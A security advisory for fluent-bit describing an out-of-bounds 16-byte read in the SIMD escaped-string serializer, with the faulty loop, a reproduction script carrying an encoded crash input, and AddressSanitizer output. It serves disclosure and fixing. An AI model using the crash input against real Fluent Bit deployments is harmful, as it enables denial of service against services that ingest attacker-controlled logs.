All advisories

SIMD Fast Path Reads Past the End of Escaped Strings

fluent/fluent-bit / GHSA-g4m5-rjxp-wprc

Affected packages

fluent-bit other
Affected versions= a1d6fb1ba85e84f160c3fcc948aff26157e3a6dc
Patched versionsNot specified

Description

SIMD Fast Path Reads Past the End of Escaped Strings

Repository: fluent/fluent-bit
Affected commit: a1d6fb1ba85e84f160c3fcc948aff26157e3a6dc
Sink: include/fluent-bit/flb_simd.h:169 in flb_vector8_load()
Sanitizer verdict: heap-buffer-overflow (16-byte read)

Summary

A crafted string passed through Fluent Bit's escaped-string serialization can make the SIMD fast path read up to 15 bytes beyond the input allocation. The slow path advances its input index by a variable number of bytes while processing escapes and UTF-8, then re-enters a 16-byte SIMD loop without realigning that index or checking that a complete vector remains. The supplied input reaches this behavior through the public flb_utils_write_str_buf() API and AddressSanitizer aborts on a 16-byte heap-buffer-overflow. Inputs that accept attacker-controlled records and serialize them as JSON or GELF can expose the same availability impact.

Only denial of service is demonstrated. The out-of-bounds bytes affect SIMD comparisons, but this report does not claim that their contents are disclosed or attacker-controlled writes occur.

Detail

src/flb_utils.c computes an aligned endpoint once before entering its repeating fast/slow loop:

vlen = str_len & ~(inst_len - 1);
for (i = 0;;) {
    for (; i < vlen; i += inst_len) {
        flb_vector8 chunk;
        flb_vector8_load(&chunk, (const uint8_t *)&str[i]);
        /* switch to the scalar path for escapes or high-bit bytes */
    }

    for (b = 0; b < inst_len; b++) {
        /* escape and UTF-8 handling advances i by variable amounts */
    }
    copypos = i;
}

The scalar path does not necessarily advance i by exactly one vector. Invalid UTF-8 increments it by one, valid multibyte sequences add processed_bytes, and the loop later increments it again. Consequently, the next outer iteration can begin with a non-vector-aligned i.

The fast-path guard checks only i < vlen. That is sufficient only when i remains aligned. For a non-aligned value near vlen, _mm_loadu_si128(&str[i]) reads 16 bytes even though fewer than 16 bytes remain. The PoC leaves a 1,397-byte heap allocation; AddressSanitizer reports the vector read seven bytes after its end.

The fresh call chain is:

LLVMFuzzerTestOneInput
  -> flb_utils_write_str_buf
    -> flb_utils_write_str
      -> flb_utils_write_str_escaped
        -> flb_vector8_load

The same serializer is used below higher-level MessagePack-to-JSON and MessagePack-to-GELF conversion paths, so this is not an allocator-only fuzzer artifact.

Reproduce

The script builds only the single relevant official OSS-Fuzz target. It limits the build and runner containers to 3 GiB and one CPU, uses one compile job, and places a 12-minute outer bound on the build.

set -eu

work="$(mktemp -d)"
trap 'rm -rf "$work"' EXIT

git clone --depth 1 https://github.com/google/oss-fuzz.git "$work/oss-fuzz"
cd "$work/oss-fuzz"

python3 - <<'PY'
from pathlib import Path

helper = Path("infra/helper.py")
text = helper.read_text()
needle = "'docker', 'run', '--privileged', '--shm-size=2g'"
replacement = "'docker', 'run', '--privileged', '--memory=3g', '--cpus=1', '--shm-size=2g'"
if needle not in text:
    raise SystemExit("OSS-Fuzz helper layout changed; apply equivalent Docker limits manually")
helper.write_text(text.replace(needle, replacement))

build = Path("projects/fluent-bit/build.sh")
text = build.read_text()
make_old = "make -j$(nproc)"
copy_old = "cp $SRC/fluent-bit/build/bin/*OSSFUZZ ${OUT}/"
if make_old not in text or copy_old not in text:
    raise SystemExit("Fluent Bit OSS-Fuzz recipe changed; update the bounded target selection")
text = text.replace(make_old, "make -j1 flb-it-fuzz-utils_fuzzer_OSSFUZZ")
text = text.replace(
    copy_old,
    "cp $SRC/fluent-bit/build/bin/flb-it-fuzz-utils_fuzzer_OSSFUZZ ${OUT}/",
)
build.write_text(text)
PY

printf '%s' 'H4sIAAAAAAAC/4v2DY1V9VGAkLFqXAqTa1WFFf6r+Sgo5CELRmOoS8+PT88vUi6tycxLxa4HLpgZ7XMFF7iDwoNrSsjz9fTx9HOND3Dc2N/fHwsVVoGbhdVRJZUFqQiHYLopLzE3lSg3ITRG6AK1/sfhM2RRvJIkBgZQj4KCWxDQDC6FRLTAzWaAABwRkj+oIgSs/R9yhKgG66n6RPkUUdFpDxBOQ3fZBSSX4Ura6IJovkUz0iEa00ndeIMLbkASccGF24VYRXGH0X90QMiBWN0Hd6QvmtU5BIuI9ZAk+ZUswEyyDpSkjxyKf4F+p2Pqz8lxi83MKclVSLyBCRS4oiN0QdKpRbZ1dQo5CnVcwbFgMTCBIymAmEB5BZhKYMD6JKYplAAA65ZlFL8FAAA=' \
  | base64 -d | gzip -dc > "$work/testcase.bin"

timeout --signal=INT --kill-after=20s 720s \
  python3 infra/helper.py build_fuzzers fluent-bit \
    --sanitizer address --engine libfuzzer --clean

docker run --rm --memory=512m --cpus=1 gcr.io/oss-fuzz/fluent-bit \
  git -C /src/fluent-bit rev-parse HEAD

timeout --signal=INT --kill-after=10s 60s \
  python3 infra/helper.py reproduce fluent-bit \
    flb-it-fuzz-utils_fuzzer_OSSFUZZ "$work/testcase.bin"

Observed on a1d6fb1ba85e84f160c3fcc948aff26157e3a6dc:

ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7d20cc7e05fc
READ of size 16
SCARINESS: 26 (multi-byte-read-heap-buffer-overflow)
    #0 flb_vector8_load /src/fluent-bit/include/fluent-bit/flb_simd.h:169:7
    #1 flb_utils_write_str_escaped /src/fluent-bit/src/flb_utils.c:911:13
    #2 flb_utils_write_str /src/fluent-bit/src/flb_utils.c:1368:16
    #3 flb_utils_write_str_buf /src/fluent-bit/src/flb_utils.c:1393:15
    #4 LLVMFuzzerTestOneInput /src/fluent-bit/tests/internal/fuzzers/utils_fuzzer.c:65:9

0x7d20cc7e05fc is located 7 bytes after 1397-byte region
[0x7d20cc7e0080,0x7d20cc7e05f5)

SUMMARY: AddressSanitizer: heap-buffer-overflow
/src/fluent-bit/include/fluent-bit/flb_simd.h:169:7 in flb_vector8_load

Credit

Zheng Yu @ DepthFirst